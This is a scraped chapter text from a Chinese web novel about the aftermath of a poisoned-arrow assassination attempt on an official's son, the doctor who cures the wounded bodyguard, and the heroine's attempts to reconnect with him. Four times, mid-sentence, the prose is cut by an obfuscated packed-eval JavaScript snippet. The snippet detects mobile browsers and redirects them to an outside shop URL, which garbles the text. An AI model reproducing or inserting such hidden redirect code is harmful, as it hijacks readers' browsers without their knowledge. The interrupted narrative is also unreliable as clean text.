许意延去书房,将晚上发生的事,同许良友秦氏简单的讲了一遍。 秦氏听后就要晕过去了,好在被李嬷嬷扶住了,许良友怒瞪着双眼久久没能平静。 随后一众人赶去客房,看看这个救了自家孩子的恩人。 此时,从乱支巷请回的铃医被小厮领进客房。 众人便瞧见了来人,看着像五十多岁的男子,胡子拉碴乱做一团,外穿一件破旧的麻布衣,看不出原本的颜色,潦草的头发披在身后,提着一个千疮百孔的药箱。 就算他提着药箱也看不出是个大夫。 他的样貌与大夫完全不搭边,太突兀了,与华丽的客房更不相称。 一进来便嚷道:“哪个是病人啊,何病症啊说我敢兴趣,急哄哄地让我速来。” 这…饶是许良友见多识广,也不禁怀疑这人能治病,听说是女儿让去请的。 许知韵忙屈身见礼:“有劳包大夫了,病人在此处。” “好,我看看…” 其实他一进来便看到床上躺着个人,故意喊一嗓子,还不是因着屋里的几人看向他质疑的目光,还算有个丫头会说话。 许良友反应过来忙道:“有劳包大夫了。” 人不可貌相,自家姑娘请的还是要给几分面子的。 包铃医扭过头,撇了几眼床上的人,嘴唇呈紫红色,伤口处红肿,脉络清晰可见,没多想便伸手搭脉。 “如何?” 其实刚刚府医也把过脉了,敢肯定是中毒了,但何毒不知,更不知如何解。 瞧着铃医收回诊脉的手,许知韵连忙问道。 “莫急,我瞧瞧这只箭。” 拿起床上刚刚府医拔出的箭,用鼻子嗅了嗅,又用舌头舔了舔。 室内众人心底又一阵惊呼,这…不忌讳的模样,定是医者,医者不简单啊,万一箭上有毒呢。 “确实有毒。” 众人:.... “不过无妨,几副药的事。”包铃医淡定地道,“我开方子,让下人去熬药吧。” 许良友一听能治,忙过来向包铃医拱手道:“多谢大夫,可用最好的药,有任何需求请尽管提,许府定全力满足。” “客气,客气,我就是有些饿了,还有些渴,要是有酒更好。”包铃医一点没客气,提出自己的要求。 许良友眉头凝滞了一下,转头便笑道:“请稍等,马上安排。” 这就是许良友,在官场多年,见人说人话、见鬼说鬼话,对于有能力者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930083|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更是表现的谦虚有礼,圆滑处世的精髓学的十成十。 秦氏立马去安排,熬药准备酒饭皆不耽误。 待元硕北喝了药后,脸色平稳了不少,嘴唇只是发白些不再青紫了。 看来是解毒了,邋里邋遢的大夫是有本事的。 “嗯,好酒,不错不错…”屋子里包铃医品尝着美酒,止不住地摇头晃脑。 见这位恩人平稳了,许良友安排了两个小厮看着。 叫两兄妹去书房问话,秦氏不放心也跟着去了。 “父亲,母亲。” “此时就不要这些虚礼了,适才你大哥也说了一些,难免有遗漏的,为父想听听你看到的。” “是,有人要杀大哥。”许知韵专捡着重要的事说,她想尽快说完去看元硕北。 唉,还真是简洁,一语概括。 “何人,可看清楚了。”秦氏忙问道。 “只瞧着一黑影,还带着面纱,辨不出是谁来。” 许意延在后面补充道:“此人身量不高,想是会武的,射了一箭后,几下就不见人影了。” 秦氏听着直后怕,他的宝贝儿子是遇到杀手了,为何要杀他的儿子? 许良友沉默了片刻,低垂的眸中闪过狠戾,似一只随时爆发的野兽。 “延儿最近不要出门了,在家复习也是可以的。” “是。”许意延即便不愿,也知父亲是为他好。 许良友又看向许知韵道:“你与屋里挡箭的那人认识?” 说不认识已经晚了,执意要买元硕北,在马车上又如此担心,许意延全都看在眼里,此事就不好说不认得,只好编瞎话了。 许知韵似乎含着哭声道:“我不好骗父亲,此人我觉得像小时候的玩伴,不忍他在搏斗场为奴,故而想买下救他出来。可没想到却是他救了我。” 许良友心里松了口气,安慰道:“原是这样啊,难怪你非要买下他,许是他也记得你,才会扑上去替你挡箭。今日的事凶险万分,你能顾着手足之情,为了兄长挡箭,着实让为父很欣慰。可你是女子,日后要让你兄长来保护你的。” “是,女儿知晓了。” 许意延不会说话,他想向妹妹鞠躬谢她,又觉得不妥,也不知说些什么,正纠结时。 秦氏看着干着急,一脸真心地道:“好孩子,今日辛苦你了,我定是要好好谢你的。” “母亲,这是我该做的。”许知韵习惯了秦氏的冷漠,突然的感激让她有点不适应。 如今替大哥挡了一箭,秦氏之后或许会对她有所改观。 许良友适时地打断道:“咳咳,好了,一家人无需感谢来感谢去的,你们俩个都回去休息吧。” “是,女儿还是想再去瞧瞧故人,见他无事就回去。”许知韵颔首道。 “好,看完了就赶快回去吧,你让人请来的大夫是有医术的,不知何时知晓此人的。” 即然敢去请,那理由早就找好了。 “前些日子,女儿从外面买了几个人回来,听她们说的,乱支巷有个神医,包治百病,便想着请回来了。” “好,也是有心了,去吧。” 51. 挡箭的二掌柜 如画布般漆黑的夜,繁星似笔墨,几笔勾勒出别样的夜景。 两兄妹出了书房,许知韵惦记着元硕北,就走快了几步,将许意延落在后面。 又落在后面的许意延叫住了她:“妹妹,我未同父亲说你在外报了他的名讳,往后莫要再这般…处事了。还有我…作为兄长,今日却要妹妹护着,是我无用了,兄长在此向你致谢。” 话落,许意延就恭恭敬敬地行了大礼。 这位君子大哥就是守规矩,他是怕父亲责怪许知韵,才会不提此事的,若是下次还犯错,没准君子大哥会严厉批评她,不动手的那种。 “大哥,那你要快快长大,为妹妹我撑起一片天,往后我就可以报你的大名啦,早点休息。”许知韵狡黠一笑,榆木疙瘩兄长也挺有意思的。 又留许意延一人愣在那,妹妹似乎只在父亲面前乖巧些,其余时候…唉。 书房内,两位主子睡意全无,自家的儿子遇到刺杀,多大的心能睡下。 秦氏低声啜泣,手里的帕子早就湿透了,她就延儿一个儿子,如宝贝般养到大,她不敢想若延儿死了,她要如何活下去。 “夫人,无事的,别哭了。”许良友心里也后怕,但他是家主,是这个家的后盾,必须撑下去,“我会查清楚此事的。” “夫君,你看到那箭了吗,还沾着毒,床上那个孩子长得壮实,也受不住,还是昏迷不醒,若是延儿受了伤…,他…” 这些明摆着的事,怎能看不到,幸好两个孩子躲了过去。 罪魁祸首究竟是谁,下手够狠,这就是没想留活口。 许良友脑中一个个闪过身边的同僚,想从中找出线索。 秦氏低沉着嗓音道:“夫君,可是恭顺伯府,他们是最不想延儿有出息的,会不会想直接要了他的命。” 许良友思索着,半响道:“一直派人盯着伯府,有一点动静都是要报到我这里的,今日出了这么大的事,伯府那边很安静,倒是不像,料他们也不敢。夫人放心,我会再去伯府那边确认的。” “夫人,很晚了去休息吧。” “好。” 秦氏没逞强,即便她不能安寝,也要回去休息一下,明日她要将这府里好好整顿一下,看看能不能查出些线索。 前院的客房,小厮在门口支了个火炉熬药,见到许知韵忙起身弯腰行礼。 进了屋,弥漫着浓重的药味,包铃医正给元硕北喂药,瞧见许知韵来了,立马放下药,干脆道:“你这丫头来得正好,你来喂吧,今日我是累的很啊,也该休息了。” “辛苦包大夫了,您去休息吧,这边我来就好。” 小丫头长得挺顺眼的,又会说话,也不知怎么寻上他的,说是他感兴趣的病人,病人不知是谁,可中的毒确实感兴趣。 “这小子带个面具,也看不清脸,不过看样子也未发烧,应是无碍的,想是惊吓过度一直昏睡,明早就该醒了。”怕这小丫头担心,多说几句。 “是,多谢包大夫。”许知韵屈身行礼。 包铃医哼哼了两声,转头就出去了,隔壁那间屋子是留给他的。 望着躺在那的元硕北,许知韵恍惚间回到过往,同样的一幕似乎又出现了。 那时,许知韵与元修止合作有一段时候了,配合默契。 许知韵在内宅各家闺秀中打听杂事,如她们父亲祖父的喜好,或是家中的隐秘事。 不要小瞧这些细枝末节,往往就能从中窥探到关键,扭转朝堂之事。 这对元修止来说,很重要,他一直想多联络些朝臣,但有些纯臣难以利用,有些却是插了毛的人精,不抓住点把柄是难以谈合作的。 为了讨好闺中友,她亲自出城去求合香方的制法。那时奉京流行制香,而城外的洛家有祖传的手法,制出的香味清淡雅致、留香持久。 许多商户高价求方,也未能求得此法,贵女圈中对此制香技艺更是向往。 故而为了与贵女们拉近关系,为了立足,得到她们的信任。许知韵便想亲自去试试,求一下制香技艺。 谁知出城没多久,便遇大雨,车路难行,躲在官路的亭子里避雨。 入了亭子,瞧见了草丛里的元硕北,受了剑伤,奄奄一息地躺在那里。 许知韵同水月将人抬到马车上,赶到城里后,请了大夫救治。 好在他看着凶险,实则都是皮外伤,无生命危险。 许知韵还记得元硕北醒来时,看到许知韵后震惊的模样,难以置信而后又施礼道谢。 俊朗公子、温润如玉,细声细语的那句“多谢姑娘相救”,好听极了。 那一日,许知韵也给他喂过药。 后来,寻了处宅院,买了个小厮去照顾他,若是自己得空也会去看一眼,虽知男女大防,但脚步总会不受控制的前去看看。 差不多半个月后,温润公子不告而别,真是让人感伤。 再见面时,许知韵已经是宫里的贵妃娘娘,她才知那日救的公子是夫君的敌人。 还以为对他有救命之恩,其实即便许知韵不救他,过一刻后,元硕北身边人也会赶到。 ——— 花溪院,守夜的水月在外间睡得香甜,躺着床上许知韵心里担心着元硕北,即便毒解了怎还不醒。 可一个未出阁的姑娘家,不好一整夜守在外男身旁。 便宜爹派人来请了两次,许知韵才乖乖地回花溪院,这一夜许府内几个主子皆辗转难眠。 前世的疑问,在今夜给出了答案,根本不是意外,是一场针对大哥布下的完美陷阱。 反正也睡不着,许知韵就将与许家有牵扯的人捋了一遍,还是未发现谁家有断许家血脉的动机。 许良友自诩是陛下跟前的宠臣,朝廷上官员多少都会给他三分面子。可他无后台靠山,他那个情同父子的老师严首辅,对他的关照也日渐减少,朝堂之上许久没帮他说过话了。 他就是孤臣,朝堂之人皆知,这就是个秋后蚂蚱蹦哒不了几天了。 他也没参与夺嫡,也没看好哪位皇子,只是忠于陛下,谁会对在意秋后蚂蚱? 岳丈秦家更是早就交出兵权,只剩下爵位,再一个受人敬仰的老将军,更不会得罪谁。 还真不知招惹了谁,惹来灭子之仇。 许意延差点被刺杀一事瞒下了,只说偶然遇到了亲戚,病了寻到许府求助的。 为了不打草惊蛇,也为了名声,此事没有报官。 毕竟下场科举的才子去那种地方,的确有碍名声,搏斗场那边许良友派的心腹去的,让他们闭嘴,也查一查刺杀一事。 最关键的是查那个能进场的玉牌,许意延说是同窗送他的生辰礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943315|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ——— 许府客房,见四下无人。 元硕北睁开了眼,伤口虽被包扎上了药,但还是痛得难以入睡。 即便不痛,他也难以安睡。 这一晚上变数太多,好久没上场的他,被人出了高价请出场,之前也有过,毕竟奉京有钱的主子很多。 可仅仅是比了一场,就被人看中,还是两个姑娘,争着想买下他,以往也有过,不过是些想利用他挣钱的男子。 最令人不解地是,他为何要替一姑娘挡箭,他明明不认得她,可就在箭射向她时,毫不犹豫地上前,如愿地挡下。 那姑娘男扮女装,难掩清秀之姿,没料到是个跋扈嚣张之人,还主动道出家世,强逼着要买人,此等狐假虎威之人最是瞧不上的。 可箭射向她时,她眼底满是惊恐,还掺杂着一丝毅然决然,她甘愿为身后的男子挡箭,就在那一刻,元硕北的心似乎疼了一下,抽风似地跑过去替她挡箭。 定是一时脑子不转了,才会这般愚蠢,他虽是奴籍,可是命当真是金贵的。 元硕北大致扫了一眼屋内,富丽堂皇地,尚书府果然富裕,拿出腰间别的暗哨,吹了几声。 守在客房门外的小厮昏昏欲睡。 树后闪过一人影,瞬间移到他身后,轻轻一掌打在小厮脖颈处,倒下的小厮彻底失去了知觉,昏睡过去了。 身影轻轻推开门,走到床边时,床上之人手掌横劈过来,身影后退一步眼疾手快挡着,急切地道:“主子,是我,匪七。” 元硕北收回了手,扯到了伤口,面色一顿。 “主子,可严重。”匪七紧张地询问。 “无妨。” “主子,展先生问是否有新的计划,太紧急了无法告知,才会铤而走险的。” 匪七算是武功最好的一个,得知主子受伤,大家伙儿都着急,可尚书府不是容易来的,指派了匪七过来听吩咐。 新计划? 元硕北不会说是自己一时不忍一姑娘受伤,无意识地去挡箭的。 在搏斗场长大的人,从来不是心慈的,心狠手辣、残酷无情才是二掌柜的标签。 “是,暂时不要轻举妄动,我既进了尚书府就先呆几日,寻机会找找府里的秘密,等我消息。” 好久都没新线索了,不能白进尚书府一趟,总要瞧瞧,当红的宠臣府邸,多少都会有不为人知的事。 “射箭的杀手可查到是谁,何缘由要杀许家长子。”元硕北捂着伤口,追问道。 元硕北看的清楚,那支箭明明射向的是后边的男子,假装昏迷时许姑娘叫他“大哥”。 “并未,此事发生的突然,外边的人反应过来时,人已经跑了。” “继续查,没准是个关键人物。” “是,主子在这边也要多注意安全。” 匪七出了门就消失在夜色中。 屋外万籁俱寂,偶有一声鸟鸣。 元硕北仔细辨别着许姑娘,的确不认识,跋扈狂妄的姑娘倒是知恩图报,对他这个挡箭的恩人照顾有加。 同样想着对方的许知韵,听到窗外微小的敲打声,急忙起身去开窗。 月瓷回来了,风尘仆仆地跳进屋里,先给许知韵行礼。 “如何了?跟上那个杀手了?” “是的。” 52. 谁是幕后黑手 “那人轻功极好,进了华平巷苏府后就未曾出来,我又等了一个时辰无动静,就回来了。” 华平巷富贵云集之地,占地大,没有几户人家,只有一家姓苏,苏照临,大理寺卿。 苏家与许良友有仇?未曾听过有何过节,好像苏家背后支持的是三皇子。 前世三皇子死后,苏家就持中立态度,对剩下的两位皇子不偏不倚,元硕北登位后,苏家就如同大多数官员一样,直接跪下俯首称臣。 还需再观望一下,不知便宜爹能不能查到苏府上。 见月瓷还站在那,许知韵忙道:“做得好,月瓷,回去休息吧。” “是,许姑娘,公子他…” “他已无碍,包大夫说他无事,只是还未醒。” 月瓷还是迟疑着不动,许姑娘让她一路跟着,她没想到在搏斗场的那间屋里见到了公子,因之前公子也带过面具,所以她一眼便瞧出来了。 那一刻她的心都亮了,终于寻到公子的下落,可下一刻就见一刺客朝屋里射箭,实在太快了,来不及阻止,眼见着箭射向许姑娘,公子挡了上去。 不出意外,之前也是,只要跟许姑娘沾边的事,都会以许姑娘为主,更何况是她的命。 那一刻,月瓷觉得公子也有记忆,她想问公子是否也吃了冷家的药。 “他与你不同,他应是不记得我们的,我同他在屋里单独呆了有一柱香,他还是躺在床上假装昏睡,若是记得,是不是会理我。”像是知晓月瓷要问什么,许知韵直接说了出来。 公子能忍住不问许姑娘是否受伤,那确实是不记得往事了。 许知韵心里是难过的,面上淡淡的道:“月瓷,我们要重新与他认识了。” “是。” 月瓷轻盈地身子,钻出了窗,留在一片灰白。 重新认识,没什么不好的。 一切重新来,这一次他不会被放弃,不会被欺骗,不会被伤害。 ——— 天微微亮,这一夜也够漫长。 许良友枯坐了一夜,等着心腹回禀的调查详情。 直到院子里仆从清扫院落,昨夜的事才渐渐有了清晰的脉络。 回禀的那些话还在耳边萦绕。 “救大公子和二姑娘的人是博斗场的二掌柜,名叫石头,五六岁就被人牙子卖到里面了。他们专门圈养不少根骨好的孩子,从小培养他们成打手,用来搏斗供富人玩乐押注,石头就是其中之一。 石头能打肯吃苦,算是拔尖的。之后帮着几个管事处理了不少事,也因着处事凶狠有震慑力,一步步被提到二掌柜的位置。” “对了,二掌柜的还是奴籍,二姑娘原本是想买下他的,可大掌柜的不愿卖,说…二姑娘直接报了大人的官位,想强买强卖。” “大公子的玉牌是同窗尹家公子送的,平时与大公子关系甚好,尹公子也是托了人,花了高价才买的进场玉牌。之前去过搏斗场觉得太残忍,就没同大公子再去。” “属下查了尹家,并无特别之处,留了两个人继续看着。此处搏斗场挺招摇的,后台没查出来,京中的公子哥大多都去过,不好查。” 书房里挂着一幅《八骏图》,每一匹马神态各异,跑跳奔腾,欢呼雀跃的。 许良友想事情的时候,爱看着这幅画,它是恩师严和川所赠,恩师说马是最有灵性的,与人最为亲密,在战场上马比人要可靠。 回来的女儿装乖巧是给他看的,推庞家孩子下水,报他官职,看来跋扈无知才是底色,好在顾及手足,用处不大了。 能在京中开博斗场,靠山必定是高位,若想对付延儿不必在自家的场子里,那个二掌柜带着面具看着神秘,不还是害怕刺杀一事与搏斗场有牵连,才冒险挡下一箭,倒是有胆识。 进场的玉牌,是尹祖川给的,那个孩子是恩师大嫂的侄儿,因严景川大将军死在战场上,他的夫人因伤心过度一并走了。 启帝赞他二人伉俪情深,对严景川大将军唯一的亲弟,也就是恩师颇为照顾,顺带着对大将军夫人的娘家尹氏也另眼相看,本就是七品小官,后被封了承恩候,尹家才在奉京立足。 尹祖川与延儿算是从小相识,情分深厚,又有恩师的关系,必定不是他想害延儿。 调查了一圈,还是一无所获,许良友忽然冷笑起来,自己的母亲死得不明不白,儿子差一点也要步后尘,自己的高位有何用。 是站得不够高吗?权力不够大吗? 许府内一如往日的平和,府里没有妾氏,只有主母秦氏一人,无鸡飞狗跳争强夫君的戏码,只有夫妻敬爱顺遂的日子。 花溪院,李嬷嬷带人抬来了两大食盒的早点,芝麻酥酪、红豆糕、八珍糯米凉糕、玫瑰茯苓糕、芸豆卷、百合粥、燕窝粳米粥,并七八样小菜,摆了满满一桌子。 镜花水月睁大了眼睛不敢相信,因着夫人从未特意照顾二姑娘的饮食,只是单设了个小厨房拨给了一个厨娘,想吃什么随意做。 明眼的都能看出来,夫人对二姑娘不太上心。 今儿是哪股风吹来了,李嬷嬷亲自来的,平时都是大丫鬟朗月来送东西的。 “夫人观察了许久,才弄清楚二姑娘饮食的喜好,这不就赶忙送过来了,往后姑娘想要个胭脂水粉,头面首饰的,可要尽管提。” “是,多谢母亲,辛苦嬷嬷跑一趟了。” 与李嬷嬷寒暄几句,许知韵忙用了起来,她想尽快去看看硕北,想来他该愿意醒来了吧。 镜花水月还在恍惚时,雨妈妈已经布上菜了,其实二姑娘喜甜,茶也最好是花茶,样式漂亮的糕点也能多用些,这些饮食细节几日就能清楚,无需观察多久。 至于适才夫人身边的嬷嬷说的话,不必完全相信,但能多多关照二姑娘,日后二姑娘的婚事也好办些。 做下人的,做好本分的事就行。二姑娘一脸淡定,那就是无事,只要主子好,身边的人才能好。 宠辱不惊,面无波澜的雨妈妈仔细地布菜,也让镜花水月冷静下来,忙去干自己的活计。 秦氏是想谢她替许意延挡箭,她能做的就是对许知韵好些,府里的人拜高踩低,日后会对二姑娘尊敬些。 用完早饭,许知韵便匆匆赶到前院。 府里皆知,夜里来了个病重的亲戚,许知韵作为小辈理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964057|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应去看看。 到客房的时候,许意延已经到了,硕北靠着枕头坐了起来,两人似乎说了一会儿话了。 见许知韵进来,许意延忙起身笑着道:“妹妹来了,二掌柜的无事了,包大夫诊过脉了。” “那就好,大哥来得好早。”许知韵屈身行礼。 “也是才来,问了二掌柜的名字。” “噢,叫什么。” 床上的元硕北想起身,被许意延按下了:“石兄救了我兄妹二人,不必多礼。” “好,石某见过许姑娘。”清冷的声音,不带一点感情。 许知韵直接道:“石某,昨日听大掌柜的叫了一句,石头,谁给你起的名字,不觉得普通吗?” “妹妹,不得无礼。”许意延挡在许知韵面前,朝元硕北拱手,“我这妹妹被养得娇惯了些,还请石兄莫要在意。” “不敢,的确石某的名字普通了些。”元硕北回礼,一上来就说救命恩人名字普通的姑娘,确实是娇惯的不成样子。 被挡在后边的许知韵,倒了杯茶水过来,递到元硕北面前,笑盈盈地道:“恩人,喝茶。” 这…转变是不是有点快了。 适才嫌弃他名字来着,又殷勤地奉茶,面具下的元硕北面露不解,这是何意? 茶水有毒,应是不能。 透过面具,瞧着递茶的姑娘,喜笑颜开的小脸,眉目清秀,如辰光的眼直直地望着他。 元硕北猛地低下头,为何心里一紧,难道此女有危险,只好运气让自己稳下来,然后接过了茶,但并未喝下。 元硕北没与娇气的姑娘家有过接触,一时间也不懂该如何与姑娘家说话,适才与她大哥聊了几句,倒是合得来。 看来他还是喜欢与彬彬有礼之人交往,至于横行霸道之人,面上可不表,但心底十分讨厌。 见元硕北既未饮茶,又不言语了,许意延拉着妹妹出了客房,只叫元硕北安心养病,不必多想。 被强拽出来的许知韵,面容平淡,内心落差极大。 明明是同一个人,对待她的态度却截然相反,眼下就是冷冰冰的毫无温度。 这些可先不在意,可昨日见元硕北打斗时,许知韵就想过,为何不在何家当富贵少爷,跑到奉京的搏斗场当打手? 若只是一个打手身份,为何他元硕北的双手有老茧,习武之人才会有,前世他就是一个文弱公子,顶多会几招,身边尽是暗卫,无需他学武的。 怎就要学武了呢,为了自保吗? 许意延见妹妹的眉头皱在一起,怕是被恩人的举动伤到了,安慰道:“妹妹,石兄是从武之人,粗心是正常的,不要介怀。” 这个大哥还挺会安慰人的。 “大哥倒是不像书生,昨夜出了那么大的事,妹妹还担心大哥会病倒,没想到大哥挺精神的,也像是从武的。” 一双与自己有七八分像的双眼,透着真诚,言语中带着关切,可许意延心底似乎在往外冒火。 书生,担心,从武。 每个字都正常,还带着体贴,可连在一起,感觉像是在讽刺他。 这个妹妹…难养也! 53. 不自重的二姑娘 榆木疙瘩呆愣愣地杵在那,许知韵怀疑大哥的脑子里正快速翻找书中的词句,好用来说教她。 不能给他这个机会,若给夫子一个说话的机会,他会“之乎者也”说上三天三夜不停。 许知韵连忙说起正事:“大哥,你可有个叫计友之的同窗,自幼体寒,一到冬日都出不得屋子,没法去国子监读书,此事可是真的?” “是,友之学识渊博,又刻苦,奈何身体原因,一年也见不到他几面,耽误了不少课程,妹妹是如何得知的?” “出去参加了几场宴会,姑娘家总聚在一起讨论才学出众的公子们,就讨论了一下计家计友之,皆说他可惜了。” 许意延听后,面露不悦:“妹妹,背后不可议论他人,更何况他是男子,你们姑娘家要懂分寸,不可越了规矩。” 大哥真像是书本里走出来的人物,满口经史子集,动循矩法。 “是,大哥说得对,那些姑娘还讨论大哥呢,说大哥样貌出众,才高八斗,能说会道。” 许意延又一次被堵住了口,也堵住了思考,他该说什么,能说什么,支支吾吾地脸憋得通红。 大哥是在害羞吗? 许知韵低着头咧嘴笑了起来,转瞬间抿唇一脸严肃地道:“大哥,包大夫的医术不错,短短一日恩人就好转了不少,不妨将包大夫介绍给计家。” “好,父亲不让我出门,我只能送封信过去问问。”许意延见妹妹转了话头,赶忙跟上。 “好,大哥负责计家,还要同父亲说一声,妹妹我负责去请包大夫去诊治。” “包大夫是能人,若是有些脾气,妹妹作为小辈不可随意顶撞,谦虚有礼才好。” “必当有礼。” 许知韵特意朝哥哥规矩地福礼,转头又去了客房,这回她是去请包大夫的,顺便看看元硕北。 前世,能认识包大夫,多亏了计家,计友之的祖父是国子监司业,对这个嫡长孙尤为疼爱,从未放弃找能人之士救治计友之。偶然间请到包大夫,结果就真的治好了。 那时,大哥受了箭伤有两三个月了,宫里的太医想尽法子,却也只能用药吊着大哥的一口气。 计家有心将包大夫请到许府,为许意延医治。 那时作为大皇子妃的许知韵正巧回府,想与许良友商量事宜。 便见到不像医者的包大夫,把脉开药一气呵成,动作利落,更直言能让大哥勉强站起来,多活几年不成问题。 许良友与秦氏欣喜不已,但只能喘着气的大哥却沉默地闭上了眼。 许知韵清楚的记得,包大夫说,这毒对于他来说很简单,只不过是耽搁的时候久了,伤了根本,他就无能为力了,若是十日之内他都能救。 所有人都惋惜叹气,但过去的事无能为力。 对于计家,许良友与秦氏感激不已,送了好些贵重东西,但计家皆没收下,只道本就是同窗好友,帮忙是应该的。 如今,既然有此时机,能顺理成章的将包大夫介绍给计家,早一些也好。 客房,包大夫正给元硕北胸前的伤口上药,许知韵就堂而皇之的走了进来。 元硕北半露着肩膀,紧实的胸肌展露出来,雨妈妈在后边想提醒,还没来得及。 床上的公子立马拽过衣服盖在身上,因动作太快似乎扯到了伤口,嘴角抽动了一下。 雨妈妈跟着二姑娘来到前院,本以为真是见许家的亲戚,后院都传开了的事。 可听姑娘与公子的对话,是与亲人毫不沾边,一口恩人,一口大夫的,怕是没那么简单,不过姑娘没躲着她,雨妈妈知晓轻重就当不知道。 说是亲戚,那便是。 带着面具的亲戚公子,看不出脸色,但语气强横,带着十分不满:“不知许二姑娘因何事又返回来,可也该敲门的,毕竟我是男子,还望许二姑娘自重。” 元硕北真的不想将话说得严重,可许二姑娘从进来那一刻起,双眼就盯在他的胸前,即便他将衣服盖住,她还在看。 女子,这般胆大,又…无礼。 一手抹药的包大夫,维持着刚才的动作,愣在原处。 会说话的小姑娘,眼光不错,这臭小子人高马大、身材健壮,低沉的声音也好听,想来也不丑,可就是脾气大了些。 也不怪人家脾气大,小丫头双眼不措地盯着,是太直接了。 女子害羞委婉一些,才好笼络硬朗的男子,回头要教一下小丫头。 “咳咳,”包大夫有意地打断尴尬局面,“小丫头,是有事吗,如此着急?” 被元硕北说成不自重的姑娘,跟无事人一样,她的心底在看到硕北的伤口时凝滞住了,箭刺得挺深,会很疼吧。 雨妈妈上前屈身,一板一眼道:“我们二姑娘确实有事,没想到是这般情形,姑娘是许府的主子,进屋子前倒是不必每间屋子都敲门的,还请公子勿怪。” 许知韵回神,有丝丝暖流入了心怀,雨妈妈是怪元硕北话说得难听吧。 温润如玉的公子,以往倒是从不会这样说话,又想起硕北双手的老茧,她怀疑硕北经历了前世没有发生的事。 娇养的姑娘,身边还有老奴替她撑腰,亲哥哥为她道歉,怪不得会养成狂妄的性子。 元硕北怒着脸,不言语。在忍几日,待他弄清楚许府刺杀一事,就赶紧离开。 许知韵拍了拍雨妈妈的手,笑着道:“劳妈妈去小厨房,将熬好的鸡汤端过来。” 雨妈妈笑着回应:“好。” 转头不经意间,瞪了一眼床上凶神恶煞的公子,她伺候过不少主子,就没有二姑娘这般好脾气的,重未摆出过臭架子来欺负下人。 “鸡汤好啊,也有我的份吧。”包大夫凑过来,一脸贪吃模样。 “当然有,辛苦包大夫了。” “唉,不辛苦,不辛苦,要是能有好酒就更好了。” 包大夫爱酒,出诊可以不给银子,但不能不给酒喝。 许知韵略过他要酒的心思,直接问道:“敢问包大夫,若有一公子一年四季皆畏寒,冬日离不开炭火不敢出门,夏日也要穿厚衫,可否医治?” “先天体质虚弱,不足之症。倒是不难,费些劲罢了,怎么你想让我出诊去看,不去不去。”包大夫抓了几把杂乱的胡子摆手,一张没太多血色的脸即便穿着新衣,也显得整个人灰呛呛的。 听说他就是这般,明明医术高超,可是只医治感兴趣的病,医者怎可挑病人,故而不太招人喜欢,过得落魄极了。 许知韵还以为这病他也感兴趣,前世他不就给看了吗?想来计家那时用了别的法子,看来这次也要从旁处入手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978376|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许知韵依旧笑着道:“南苑附近有家酒楼名叫云霞楼,每月只出售十坛桃花酿,不知包大夫尝过没。” 云霞楼的桃花酿,闻都没闻过,可恨啊。 “小丫头要送我十坛?”包大夫咽着口水,背着手问道。 “十坛桃花酿,外加十坛屠苏酒,可好。” 有些人的弱点也太容易攻破了,桃花酿并非每月只卖十坛,只是个噱头,若提便宜爹的大名,外加多给点银子,很轻松就能买到,还能给送到家门口。 “一言为定,你可不能食言啊。”包大夫满脸雀跃欣喜,急切道,“何时带我去看怕冷的毛小子?” 许知韵暗笑,真是提酒好办事:“不知这边箭伤何时能好。” 许知韵意指先看好这边,再去,毕竟还是要以元硕北为主。 “他无事,我多配几副药膏,抹几日就好了。” “好,那抹药的事可以交给我。” 元硕北:… “抹药的事我自己就可以,包大夫不必顾及我,受了重伤能恢复的这样快,石某再次多谢包大夫。” 说完他便拱手致谢。 适才屋里的一老一少,讨价还价的,像是谈了一桩买卖,当着他的面谈的。 四季皆畏寒的公子,不知长得如何,与二姑娘是何种关系? 之后的客房内,走了这个主子,来了那个主子。 许府的许夫人照顾周到,一应安排皆细致。 许大人老奸巨猾,拐着弯想套话,也想留元硕北在他身边效力,元硕北一一应对,也表明态度,想考虑一下再定,许大人展眉笑着让他安心养伤。 ——— 